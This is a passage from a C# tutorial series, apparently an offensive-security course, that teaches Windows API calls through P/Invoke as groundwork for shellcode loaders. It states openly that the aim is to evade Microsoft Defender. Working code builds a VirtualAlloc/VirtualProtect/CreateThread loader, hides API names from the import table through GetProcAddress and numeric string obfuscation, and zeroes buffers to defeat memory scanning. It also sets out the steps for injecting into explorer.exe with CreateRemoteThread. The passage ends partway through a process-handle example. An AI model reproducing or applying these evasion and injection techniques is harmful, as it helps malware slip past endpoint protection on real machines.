Defender checks what you are requesting (how much RAM, what permissions), logs the activity, decides if it looks suspicious, and only then lets the real `VirtualAlloc` run. Document 07 teaches you to bypass these hooks by calling `ntdll.dll` directly.

Watching for suspicious sequences. A program calling `VirtualAlloc` alone is not suspicious. But a program that requests RAM, copies data into it, changes permissions to executable, and creates a new thread at that address matches the exact pattern of a shellcode loader. Defender watches for this sequence.

4.5 The Evasion Technique

This document teaches the standard way to call Windows functions. You need to understand the standard way before the evasion methods in later documents make sense. The evasion variations are:

- Document 06: Encrypt the shellcode with XOR so Defender does not recognize the bytes
- Document 07: Call `ntdll.dll` directly instead of `kernel32.dll` to bypass Defender’s hooks
- Document 08: Modify `amsi.dll` functions so they stop scanning scripts
- Document 10: All evasion techniques combined

All of them build on the standard calling pattern you learn here.

4.6 Getting the Loader Onto the Target

No loader in this document. All programs are learning exercises that run on your dev box (ammulu, 192.168.10.150).

4.7 Teaching the Code

4.7.1 Part 1: MessageBox - Your First Windows API Call

The simplest Windows API function to start with is MessageBox. It creates a dialog box on your screen with a message and buttons. It is not useful for evasion, but it is the perfect first example because you can see the result on your screen immediately.

```
using System;
using System.Runtime.InteropServices;
```

The first line you know from Document 02. It gives you access to Console.WriteLine and other basic C# tools.

The second line gives you access to P/Invoke. Remember, P/Invoke is the C# feature that lets you call Windows functions. `System.Runtime.InteropServices` is the section of C# that contains this feature. “InteropServices” means “services for working together with code outside of C#.” You need this line in every program that calls Windows functions.

```
class Program
{
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
}
```

This is where you describe the Windows function to C# so it knows how to call it. Here is what each part means:

`[DllImport("user32.dll", CharSet = CharSet.Unicode)]` is an instruction attached to the function description below it. It tells C# two things: the function lives in the file `user32.dll`, and when passing text to this function, convert it to Unicode format (Unicode is the text encoding Windows uses internally).

`static extern` tells C# that you did not write this function yourself. The function already exists in `user32.dll`. You are just describing what it looks like so C# knows how to call it. `extern` means “this function is external, it exists outside of this C# program.”

`int MessageBox(...)` says the function is called `MessageBox` and it gives back an integer when it finishes. The integer tells you which button the user clicked.

The four parameters:

`IntPtr hWnd` is the handle (reference number) of the parent window. Handles are explained in Part 4, but for now just know that if you pass `IntPtr.Zero` (which means “none”), the dialog box appears by itself, not attached to any window.

`string text` is the message shown inside the dialog box body.

`string caption` is the text in the title bar at the top of the dialog box.

`uint type` controls which buttons appear. The value `0` shows only OK. The value `1` shows OK and Cancel. The value `4` shows Yes and No.

Now call it:

```
static void Main(string[] args)
{
    int clicked = MessageBox(
        IntPtr.Zero,
        "This dialog box was created by calling a Windows API function from C#.",
        "Windows API Test",
        1);
}
```

Your program calls `MessageBox`. C# finds the function in `user32.dll` and calls it with your parameters. Windows receives the call, creates a dialog box with your message, your title, OK and Cancel buttons, and shows it on screen. Your program pauses here and waits for you to click a button. When you click, Windows tells your program which button was clicked by returning a number.

```
if (clicked == 1)
    Console.WriteLine("[+] You clicked OK.");
else if (clicked == 2)
    Console.WriteLine("[+] You clicked Cancel.");
}
```

`MessageBox` returns 1 if you clicked OK, 2 if you clicked Cancel.

Here is the complete program:

```
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);

    static void Main(string[] args)
    {
        int clicked = MessageBox(
            IntPtr.Zero,
            "This dialog box was created by calling a Windows API function from C#.",
            "Windows API Test",
            1);

        if (clicked == 1)
            Console.WriteLine("[+] You clicked OK.");
        else if (clicked == 2)
            Console.WriteLine("[+] You clicked Cancel.");
    }
}
```

Run it with `dotnet run`. A dialog box appears on your dev box. It has a title bar that says “Windows API Test,” your message text, and two buttons. Click one. The terminal prints which button you clicked.

Your C# code did not draw the dialog box. It did not create the buttons. It did not detect your mouse click. Windows did all of that. Your code told Windows “show a dialog with this text and these buttons” and Windows handled everything else. That is what calling a Windows API function means.

4.7.2 Part 2: Beep - Calling a Function from a Different DLL

MessageBox lives in user32.dll. Here is a function from kernel32.dll to show that different DLLs contain different functions, and you just change the DLL name in DllImport:

```
[DllImport("kernel32.dll")]
static extern bool Beep(uint frequency, uint duration);
```

This function lives in kernel32.dll. It makes a beep sound through the computer’s speaker. `frequency` is the pitch in Hertz (440 is the musical note A). `duration` is how long the beep lasts in milliseconds (1000 milliseconds = 1 second). It returns `true` if the beep played successfully.

```
static void Main(string[] args)
{
    Console.WriteLine("[*] Playing three beeps...");
    Beep(440, 300);
    Beep(554, 300);
    Beep(659, 300);
    Console.WriteLine("[+] Done.");
}
```

Three calls to the same Windows function with different parameters. Each call tells Windows “play this frequency for this many milliseconds.” Windows generates the sound through the speaker. Your code did not create audio data, did not interact with the sound hardware, did not process audio signals. One function call, and Windows did all the work.

Here is the complete program:

```
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    static extern bool Beep(uint frequency, uint duration);

    static void Main(string[] args)
    {
        Console.WriteLine("[*] Playing three beeps...");
        Beep(440, 300);
        Beep(554, 300);
        Beep(659, 300);
        Console.WriteLine("[+] Done.");
    }
}
```

Run it. You hear three tones. The pattern is always the same: write `[DllImport("dllname.dll")]`, describe the function, call it. Whether the function shows a dialog box, plays a sound, requests RAM, or opens a process, the pattern is identical.

4.7.3 Part 3: GetCurrentProcessId - Getting Information from Windows

MessageBox and Beep tell Windows to do something. Windows API functions can also give you information about the system.

Right now on your dev box, there are dozens of programs running at the same time. Chrome, Explorer, Visual Studio, background services, all running together. Windows needs to know which program is which. So every time a program starts, Windows gives it a unique number. This number is called a process ID, written as PID for short. Chrome might get 4528, Notepad might get 7812, Explorer might get 1340. No two running programs ever get the same PID.

You can see this right now. Press Ctrl+Shift+Esc on your dev box to open Task Manager. If it opens in the small view, click “More details” at the bottom. Now right-click on the column headers at the top and turn on the PID column. Every program on that list has a number next to it, and that number is the PID that Windows assigned when the program started.

When we write code that needs to interact with another running program, like injecting shell-code into explorer.exe, we need to know that program’s PID so we can tell Windows exactly which program we are referring to.

GetCurrentProcessId gives you your own program’s PID:

```
[DllImport("kernel32.dll")]
static extern uint GetCurrentProcessId();
```

This function lives in kernel32.dll. It takes no parameters (empty parentheses). It returns a uint (unsigned integer), which is your program’s PID.

```
static void Main(string[] args)
{
    uint myPid = GetCurrentProcessId();
    Console.WriteLine("[+] This program's process ID is: " + myPid);
    Console.WriteLine("[*] Open Task Manager and find this number to confirm.");
    Console.WriteLine("[*] Press Enter to exit...");
    Console.ReadLine();
}
```

Console.ReadLine() pauses the program until you press Enter. This gives you time to open Task Manager and verify the PID.

Here is the complete program:

```
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    static extern uint GetCurrentProcessId();

    static void Main(string[] args)
    {
        uint myPid = GetCurrentProcessId();
        Console.WriteLine("[+] This program's process ID is: " + myPid);
        Console.WriteLine("[*] Open Task Manager and find this number to confirm.");
    }
}
```

```
    Console.WriteLine("[*] Press Enter to exit...");  
    Console.ReadLine();  
}  
}
```

Run it. It prints a number like 7832 or 4516. Open Task Manager, find “dotnet” in the list, and confirm the PID matches. You asked Windows “what is my process ID?” and Windows gave you the answer.

4.7.4 Part 4: What Is a Handle

Almost every Windows API function that gives you access to something returns a **handle**. You need to understand what handles are before going further.

When you open a file in Notepad, Windows does not give Notepad direct access to the hard drive location where that file sits. Instead, Windows gives Notepad a number, like 164 or 2048. Notepad holds onto that number, and every time it wants to read from or write to the file, it passes that number back to Windows and says “do this to whatever 164 refers to.”

A handle is a reference number that Windows gives to a program so the program can refer to a specific resource without having direct access to it. Windows keeps track of what each handle refers to internally.

Handles are used for everything in Windows:

- Open another running process with `OpenProcess` → Windows gives you a handle to that process
- Create a new thread with `CreateThread` → Windows gives you a handle to that thread
- Open a file → Windows gives you a handle to that file

In C#, handles are stored as `IntPtr` values. When a Windows function fails and cannot give you what you asked for, it returns `IntPtr.Zero` (the number zero), meaning “I could not do it, there is no valid handle.” So every time you call a Windows function that returns a handle, you check if you got zero:

```
IntPtr handle = SomeWindowsFunction();  
if (handle == IntPtr.Zero)  
{  
    Console.WriteLine("[*] Function failed.");  
    return;  
}
```

When you are done with a handle, you tell Windows to close it using `CloseHandle`:

```
[DllImport("kernel32.dll")]  
static extern bool CloseHandle(IntPtr hObject);
```

```
CloseHandle(handle);
```

This tells Windows “I am done with this resource, you can clean it up.” If you do not close handles, they stay open and take up system resources. In the loaders, the program usually

exits after running shellcode, and Windows cleans up all handles when a process exits. But for longer-running programs, you should close handles when you are done.

4.7.5 Part 5: VirtualAlloc - Requesting a Chunk of RAM from Windows

Now we get to the functions that matter for shellcode execution. VirtualAlloc asks Windows to give your program a chunk of RAM with specific permissions.

In Document 02, you created byte arrays with `new byte[256]`. The .NET runtime gave your program space in RAM for that array. But the .NET runtime controls that RAM completely:

- It decides where in RAM the array goes
- It can move the array during garbage collection (an automatic cleanup process where C# frees unused RAM)
- Most importantly, it marks all of its RAM as **data-only**

The CPU is not allowed to run code from RAM that the .NET runtime manages. This is because of a security feature called **DEP** (Data Execution Prevention). DEP tells the CPU “this section of RAM contains data, not code, so do not try to run it as instructions.” Every modern operating system has DEP enabled.

Shellcode is code. You want the CPU to run it as instructions. So you cannot put shellcode into a regular C# byte array because DEP stops the CPU from executing it.

VirtualAlloc solves this. It asks Windows directly (not the .NET runtime) to give you a chunk of RAM. When you make this request, you specify what permissions you want: can you read from it, can you write to it, and can the CPU execute code from it. If you ask for execute permission, Windows gives you RAM where the CPU is allowed to run code. DEP does not block it because you explicitly asked for execute permission through a legitimate Windows function.

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(
    IntPtr lpAddress,
    uint dwSize,
    uint flAllocationType,
    uint flProtect);
```

`SetLastError = true` tells C# to remember the error code if VirtualAlloc fails, so you can find out why it failed.

The four parameters:

`IntPtr lpAddress` is the RAM address where you want the chunk. Pass `IntPtr.Zero` to let Windows choose the address for you. Windows knows which addresses are available, so you almost always let Windows pick.

`uint dwSize` is how many bytes of RAM you want. If your shellcode is 510 bytes, you request 510 bytes.

`uint flAllocationType` is the type of request. The value `0x3000` combines two flags. `MEM_RESERVE` (0x2000) tells Windows to set aside a range of virtual addresses for your program so nothing else can claim those addresses. At this point no physical RAM is used yet. `MEM_COMMIT` (0x1000) is where real RAM gets involved. Your dev box (ammulu) has 8 GB of RAM on its motherboard. When you pass `MEM_COMMIT`, Windows takes a portion of that physical 8 GB and assigns it to your program. If you ask for 4096 bytes, Windows dedicates

4096 bytes of that RAM chip to you. Those bytes are now yours to read and write. You combine both flags by adding: $0x2000 + 0x1000 = 0x3000$, and you use this value in every loader because you always want both steps done at once.

`uint flProtect` sets the permissions. This is the most important parameter:

Value	Name	What It Allows
<code>0x04</code>	<code>PAGE_READWRITE</code>	Read and write. CPU cannot execute.
<code>0x20</code>	<code>PAGE_EXECUTE_READ</code>	CPU can execute and read. Cannot write.
<code>0x40</code>	<code>PAGE_EXECUTE_READWRITE</code>	Read, write, and execute. All at once.

Using `0x40` is the simplest approach because you can write shellcode in and execute it without any extra steps. But RAM that is both writable and executable at the same time is very unusual for legitimate programs. **Defender flags this.**

The safer approach:

1. Request RAM with `0x04` (read-write only, so you can write shellcode into it)
2. Copy your shellcode bytes into that RAM
3. Change the permissions to `0x20` (execute-read only, so the CPU can run it but nobody can write to it anymore)

This way, the RAM is never writable and executable at the same time.

Now call `VirtualAlloc`:

```
uint size = 4096;
IntPtr mem = VirtualAlloc(IntPtr.Zero, size, 0x3000, 0x04);
```

This asks Windows: "Give me 4096 bytes of RAM that I can read and write to. Put it wherever you want." Windows picks an address, reserves 4096 bytes there, and returns the address.

```
if (mem == IntPtr.Zero)
{
    Console.WriteLine("[-] VirtualAlloc failed. Windows did not give us RAM.");
    return;
}
Console.WriteLine("[+] Got RAM at address: 0x" + mem.ToString("X"));
```

If `VirtualAlloc` returns zero, the request failed. Otherwise, `mem` is the address in RAM where you have 4096 bytes of read-write space.

Here is the complete program:

```
using System;
using System.Runtime.InteropServices;

class Program
```

```

{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(
        IntPtr lpAddress, uint dwSize, uint dwFreeType);

    static void Main(string[] args)
    {
        Console.WriteLine("[*] Asking Windows for 4096 bytes of RAM (read-write)...");

        IntPtr mem = VirtualAlloc(IntPtr.Zero, 4096, 0x3000, 0x04);

        if (mem == IntPtr.Zero)
        {
            Console.WriteLine("[-] VirtualAlloc failed.");
            return;
        }

        Console.WriteLine("[+] Got RAM at address: 0x" + mem.ToString("X"));
        Console.WriteLine("[*] We can read and write data here.");
        Console.WriteLine("[*] The CPU cannot execute code from here (no execute
↔ permission).");

        VirtualFree(mem, 0, 0x8000);
        Console.WriteLine("[+] RAM given back to Windows.");
    }
}

```

`VirtualFree` gives the RAM back to Windows so other programs can use it. `0x8000` is `MEM_RELEASE`, which releases the entire chunk. In a real loader, you do not free the RAM because your shellcode needs to stay in it and keep running.

4.7.6 Part 6: Copying Data Into the RAM Chunk

After `VirtualAlloc` gives you a chunk of RAM, that chunk is empty (all zeros). You need to copy your shellcode bytes into it. You already learned `Marshal.Copy` in Document 02. Here is how it works with `VirtualAlloc`:

```
byte[] data = new byte[] { 0xCC, 0x90, 0x90, 0xC3 };
```

Four test bytes. `0xCC` is `INT3` (a debugger breakpoint instruction), `0x90` is `NOP` (a “do nothing” instruction), and `0xC3` is `RET` (a “return” instruction). These are harmless machine instructions, not real shellcode.

```
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)data.Length, 0x3000, 0x04);
```

Request RAM the same size as the data. `(uint)data.Length` converts the array length from `int` to `uint` because `VirtualAlloc` expects a `uint`.

```
Marshal.Copy(data, 0, mem, data.Length);
```

Copy the bytes from the C# array into the VirtualAlloc RAM. The parameters: source array, starting position in the array (0 means the first byte), destination address in RAM, number of bytes to copy. After this, the RAM at address `mem` contains the bytes 0xCC, 0x90, 0x90, 0xC3.

```
Array.Clear(data, 0, data.Length);
```

Zero out the original C# array. Now the bytes exist only in the VirtualAlloc RAM, not in the .NET runtime's managed RAM. If Defender's memory scanner runs, it will not find the shellcode in the C# array because you zeroed it out. The shellcode exists only in the chunk you got from VirtualAlloc.

Here is the complete program:

```
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(
        IntPtr lpAddress, uint dwSize, uint dwFreeType);

    static void Main(string[] args)
    {
        byte[] data = new byte[] { 0xCC, 0x90, 0x90, 0xC3 };
        Console.WriteLine("[*] Created " + data.Length + " bytes of test data.");

        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)data.Length, 0x3000, 0x04);
        if (mem == IntPtr.Zero)
        {
            Console.WriteLine("[-] VirtualAlloc failed.");
            return;
        }
        Console.WriteLine("[+] RAM allocated at: 0x" + mem.ToString("X"));

        Marshal.Copy(data, 0, mem, data.Length);
        Console.WriteLine("[+] Copied " + data.Length + " bytes into RAM.");

        Array.Clear(data, 0, data.Length);
        Console.WriteLine("[+] Zeroed out the C# array.");

        byte check = Marshal.ReadByte(mem);
        Console.WriteLine("[*] First byte in VirtualAlloc RAM: 0x" +
            check.ToString("X2"));
        Console.WriteLine("[*] First byte in C# array: " + data[0] + " (zero, because we
            cleared it)");
    }
}
```

```

        VirtualFree(mem, 0, 0x8000);
        Console.WriteLine("[+] Done.");
    }
}

```

Output:

```

[*] Created 4 bytes of test data.
[+] RAM allocated at: 0x<address>
[+] Copied 4 bytes into RAM.
[+] Zeroed out the C# array.
[*] First byte in VirtualAlloc RAM: 0xCC
[*] First byte in C# array: 0 (zero, because we cleared it)
[+] Done.

```

The data is in the VirtualAlloc RAM at 0xCC. The C# array is zeroed. The data lives in only one place now.

4.7.7 Part 7: VirtualProtect - Changing RAM Permissions

The RAM from VirtualAlloc has read-write permissions (0x04). Your data is in there. But the CPU still cannot execute it because the RAM does not have execute permission. DEP stops the CPU from running code in read-write RAM.

VirtualProtect changes the permissions of a chunk of RAM that already exists:

```

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtect(
    IntPtr lpAddress,
    uint dwSize,
    uint flNewProtect,
    out uint lpflOldProtect);

```

`IntPtr lpAddress` is the address of the RAM chunk (from VirtualAlloc).

`uint dwSize` is the size of the chunk in bytes.

`uint flNewProtect` is the new permission value. Use 0x20 (PAGE_EXECUTE_READ) to make it executable and readable.

`out uint lpflOldProtect` is where Windows writes the old permission value. The word `out` means Windows fills in this variable for you. You need to declare it before calling the function, but you usually do not need the old value.

```

uint oldPermissions;
bool changed = VirtualProtect(mem, (uint)data.Length, 0x20, out oldPermissions);

if (!changed)
{
    Console.WriteLine("[-] VirtualProtect failed.");
    return;
}
Console.WriteLine("[+] RAM permissions changed to execute-read.");

```

After this call, the CPU is allowed to run the bytes at address `mem` as instructions. You can no longer write to that RAM because execute-read does not include write permission. But that is fine because you already copied your data in.

4.7.8 Part 8: CreateThread - Telling the CPU to Run Your Code

The data is in RAM. The RAM has execute permission. The last step is telling the CPU to start running the bytes at that address.

Your program already has one thread running, executing your Main function right now. A **thread** is a sequence of instructions that the CPU follows one by one. Your program can create additional threads, and each thread runs at the same time, independently of the others.

You can see threads in Task Manager: right-click any process, click “Go to details,” and the Threads column shows how many threads that process has.

CreateThread creates a new thread that starts running at a specific address in RAM. If that address contains your shellcode, the CPU starts executing your shellcode:

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    out uint lpThreadId);
```

This has six parameters but only one matters for what we are doing:

`IntPtr lpStartAddress` is the RAM address where the new thread starts executing. You pass the address from `VirtualAlloc`.

The other five use default values:

- `IntPtr.Zero` for `lpThreadAttributes` means default security settings
- `0` for `dwStackSize` means default stack size (a stack is a small chunk of RAM each thread gets for its own temporary data)
- `IntPtr.Zero` for `lpParameter` means no extra data passed to the thread
- `0` for `dwCreationFlags` means the thread starts running immediately
- `out uint lpThreadId` receives the PID-like number Windows assigns to the new thread

```
IntPtr thread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out uint tid);

if (thread == IntPtr.Zero)
{
    Console.WriteLine("[-] CreateThread failed.");
    return;
}
Console.WriteLine("[+] Thread " + tid + " is now running.");
```

After this call, the CPU is running the bytes at address `mem` on a new thread. But your main thread (your Main function) keeps going too. If Main reaches the end and your program exits,

the new thread dies with it. For shellcode that keeps running (a reverse shell stays connected until you close it), you need the main thread to wait.

WaitForSingleObject pauses the main thread until the new thread finishes:

```
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
```

```
WaitForSingleObject(thread, 0xFFFFFFFF);
```

`thread` is the handle to the new thread (returned by `CreateThread`). `0xFFFFFFFF` means wait forever. The main thread stops at this line and does nothing until the shellcode thread finishes.

Here is the complete program that puts everything together. It runs a single byte: `0xC3`, which is the machine instruction `RET` (return). This instruction immediately returns, ending the thread:

```
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(
        IntPtr lpAddress, uint dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateThread(
        IntPtr lpThreadAttributes, uint dwStackSize,
        IntPtr lpStartAddress, IntPtr lpParameter,
        uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    static void Main(string[] args)
    {
        byte[] code = new byte[] { 0xC3 };
        Console.WriteLine("[*] Code: 1 byte (RET instruction, returns immediately).");

        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)code.Length, 0x3000, 0x04);
        if (mem == IntPtr.Zero)
        {
            Console.WriteLine("[-] VirtualAlloc failed.");
            return;
        }
        Console.WriteLine("[+] RAM allocated at: 0x" + mem.ToString("X"));
    }
}
```

```

Marshal.Copy(code, 0, mem, code.Length);
Console.WriteLine("[+] Code copied to RAM.");

uint oldProtect;
if (!VirtualProtect(mem, (uint)code.Length, 0x20, out oldProtect))
{
    Console.WriteLine("[-] VirtualProtect failed.");
    return;
}
Console.WriteLine("[+] RAM is now executable.");

IntPtr thread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out uint tid);
if (thread == IntPtr.Zero)
{
    Console.WriteLine("[-] CreateThread failed.");
    return;
}
Console.WriteLine("[+] Thread " + tid + " is running the code.");

WaitForSingleObject(thread, 0xFFFFFFFF);
Console.WriteLine("[+] Thread finished.");
}
}

```

Output:

```

[*] Code: 1 byte (RET instruction, returns immediately).
[+] RAM allocated at: 0x<address>
[+] Code copied to RAM.
[+] RAM is now executable.
[+] Thread <id> is running the code.
[+] Thread finished.

```

The CPU started executing at the address in RAM. It found the byte 0xC3 (RET), which means “return.” The thread ended immediately. In Document 05, you replace { 0xC3 } with real ms-fvenom shellcode. The only thing that changes is the bytes. The VirtualAlloc, Marshal.Copy, VirtualProtect, CreateThread, WaitForSingleObject pattern stays identical.

4.7.9 Part 9: GetModuleHandle and GetProcAddress - Finding Functions Without DllImport

Every DllImport you write puts the function name into the compiled binary’s **import table**. The import table is a section inside the .exe file that lists every DLL function your program calls. When C# compiles a program that has DllImport lines for VirtualAlloc, VirtualProtect, and CreateThread, those three names get written directly into the .exe file on your hard drive. You can open that compiled .exe in Notepad right now and you will literally see “VirtualAlloc”, “VirtualProtect”, “CreateThread” sitting there as readable text inside all the garbage characters.

Defender opens that .exe file, reads the whole thing from start to end, and checks whether any text inside it matches something in its database of known bad strings. When it finds those three function names together in the import table, it recognizes that combination as a shellcode injection tool in its database and flags the program before it even runs.

To avoid putting function names in the import table, you can find functions while the program is running using two Windows functions: GetModuleHandle and GetProcAddress.

```
[DllImport("kernel32.dll")]
static extern IntPtr GetModuleHandle(string lpModuleName);
```

GetModuleHandle takes a DLL name and returns the address in RAM where that DLL is loaded. When a program starts, Windows automatically loads several DLLs into the program's RAM space. kernel32.dll is always loaded because every program needs it. GetModuleHandle("kernel32.dll") gives you the RAM address where kernel32.dll starts.

```
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
```

GetProcAddress takes two things: the RAM address of a DLL (from GetModuleHandle) and the name of a function inside that DLL. It returns the RAM address of that function.

Together:

```
IntPtr k32 = GetModuleHandle("kernel32.dll");
Console.WriteLine("[+] kernel32.dll is loaded at: 0x" + k32.ToString("X"));

IntPtr funcAddr = GetProcAddress(k32, "VirtualAlloc");
Console.WriteLine("[+] VirtualAlloc is at: 0x" + funcAddr.ToString("X"));
```

Now you have the RAM address of VirtualAlloc. But you cannot just call a RAM address in C#. C# needs to know what parameters the function takes so it calls it correctly. You tell C# using something called a delegate.

A delegate is a description of a function's shape: what parameters it takes and what it gives back. You are telling C# "when I call this, these are the parameters you need to send and this is what you will get back":

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr VirtualAllocDelegate(
    IntPtr lpAddress, uint dwSize,
    uint flAllocationType, uint flProtect);
```

This says "a VirtualAllocDelegate is any function that takes these four parameters and returns an IntPtr." The `[UnmanagedFunctionPointer(CallingConvention.StdCall)]` line tells C# that this function follows the Windows calling convention. A calling convention is the agreed-upon way of passing parameters to a function. Windows functions use a method called StdCall, which is the standard Windows method.

Now convert the address to something you can call:

```
var allocFunc = (VirtualAllocDelegate)Marshal.GetDelegateForFunctionPointer(
    funcAddr, typeof(VirtualAllocDelegate));
```

`Marshal.GetDelegateForFunctionPointer` takes a RAM address and a delegate type, and gives you something you can call like a regular C# function. Now call VirtualAlloc through `allocFunc`:

```
IntPtr mem = allocFunc(IntPtr.Zero, 4096, 0x3000, 0x04);
```

This does the same thing as calling VirtualAlloc through DllImport. The difference is that “VirtualAlloc” does not appear in the compiled binary’s import table because you did not use DllImport for it. You only used DllImport for GetModuleHandle and GetProcAddress. You can open that compiled .exe in Notepad right now and you will see “GetModuleHandle” and “GetProcAddress” sitting there as readable text, but “VirtualAlloc” is nowhere in the file. Defender opens that .exe, reads the whole thing from start to end, and finds only those two functions, which appear in thousands of legitimate Windows programs. Nothing suspicious in its database matches.

In the real loaders (Documents 05 through 10), even the text “VirtualAlloc” is hidden. Instead of passing the function name as a string to GetProcAddress, the loader builds the name from numbers using FromOffsets (from Document 02):

```
string name = FromOffsets(32, 54, 73, 82, 84, 85, 65, 76, 33, 76, 76, 79, 67);
IntPtr funcAddr = GetProcAddress(k32, name);
```

The .exe file on your hard drive contains only the numbers (32, 54, 73...) instead of the text “VirtualAlloc”. Defender opens that .exe, reads the whole thing from start to end, and finds only integers. The string “VirtualAlloc” is assembled character by character in RAM only when the program runs, and it disappears when the program exits.

Here is the complete program:

```
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    delegate IntPtr VirtualAllocDelegate(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    static void Main(string[] args)
    {
        IntPtr k32 = GetModuleHandle("kernel32.dll");
        if (k32 == IntPtr.Zero)
        {
            Console.WriteLine("[+] Could not find kernel32.dll.");
            return;
        }
        Console.WriteLine("[+] kernel32.dll at: 0x" + k32.ToString("X"));
    }
}
```

```

IntPtr vaAddr = GetProcAddress(k32, "VirtualAlloc");
if (vaAddr == IntPtr.Zero)
{
    Console.WriteLine("[-] Could not find VirtualAlloc.");
    return;
}
Console.WriteLine("[+] VirtualAlloc at: 0x" + vaAddr.ToString("X"));

var allocFunc = (VirtualAllocDelegate)Marshal.GetDelegateForFunctionPointer(
    vaAddr, typeof(VirtualAllocDelegate));
Console.WriteLine("[+] Created callable function from RAM address.");

IntPtr mem = allocFunc(IntPtr.Zero, 4096, 0x3000, 0x04);
if (mem == IntPtr.Zero)
{
    Console.WriteLine("[-] Dynamic VirtualAlloc call failed.");
    return;
}
Console.WriteLine("[+] Allocated RAM at: 0x" + mem.ToString("X"));

VirtualFree(mem, 0, 0x8000);
Console.WriteLine("[+] RAM freed. Done.");
}
}

```

4.7.10 Part 10: OpenProcess - Accessing Another Running Program

Documents 09 and 10 inject code into other running programs. Instead of running shellcode in your loader's own process, you put it inside a trusted program like explorer.exe. This is harder for Defender to detect because the shellcode runs inside a program that Windows considers legitimate.

To interact with another running program, you first need a handle to it. OpenProcess gives you that handle:

```

[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int
↳ dwProcessId);

```

`dwDesiredAccess` specifies what you want to do with the process:

- `0x0400` is `PROCESS_QUERY_INFORMATION`. You can read information about the process (its name, how much RAM it uses) but you cannot change anything inside it. This is safe.
- `0x001FFFFF` is `PROCESS_ALL_ACCESS`. You get full control, including writing data into the process's RAM and creating threads inside it. The injection loaders use this.

`bInheritHandle` is almost always `false`.

`dwProcessId` is the PID of the program you want to open.

C# has a built-in way to find running programs by name:

```

using System.Diagnostics;

```

`System.Diagnostics` contains tools for working with running processes. The class `Process` inside it lets you search for and get information about running programs.

```
Process[] found = Process.GetProcessesByName("explorer");
```

This searches all running programs for ones named “explorer” (you leave off the .exe part). It returns an array because there could be multiple instances of the same program running.

```
if (found.Length == 0)
{
    Console.WriteLine("[-] explorer.exe is not running.");
    return;
}

int targetPid = found[0].Id;
Console.WriteLine("[+] Found explorer.exe with PID: " + targetPid);
```

`found[0].Id` gets the PID of the first explorer.exe it found.

```
IntPtr handle = OpenProcess(0x0400, false, targetPid);
if (handle == IntPtr.Zero)
{
    Console.WriteLine("[-] OpenProcess failed.");
    return;
}
Console.WriteLine("[+] Got handle to explorer.exe.");

CloseHandle(handle);
Console.WriteLine("[+] Handle closed.");
```

This opens explorer.exe with read-only permissions. It does not modify anything. It proves you can get a handle to another running program.

For injection (Documents 09 and 10), after getting a handle with `PROCESS_ALL_ACCESS`, you use three more functions:

VirtualAllocEx requests a chunk of RAM inside the target process. It is the same as `VirtualAlloc` but the RAM goes into the other program, not yours.

WriteProcessMemory copies bytes from your program’s RAM into the target program’s RAM.

CreateRemoteThread creates a thread in the target program. The thread starts executing at the address where you wrote your shellcode.

The full injection pattern:

1. Find the target program by name
2. `OpenProcess` to get a handle with full access
3. `VirtualAllocEx` to get RAM inside the target program
4. `WriteProcessMemory` to copy shellcode into that RAM
5. `CreateRemoteThread` to start a thread in the target that runs the shellcode

You will use these functions in Document 09. Here is the safe `OpenProcess` example:

```

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int
        ↪ dwProcessId);

    [DllImport("kernel32.dll")]
    static extern bool CloseHandle(IntPtr hObject);

    static void Main(string[] args)
    {
        string target = args.Length > 0 ? args[0] : "explorer";

        Process[] found = Process.GetProcessesByName(target);
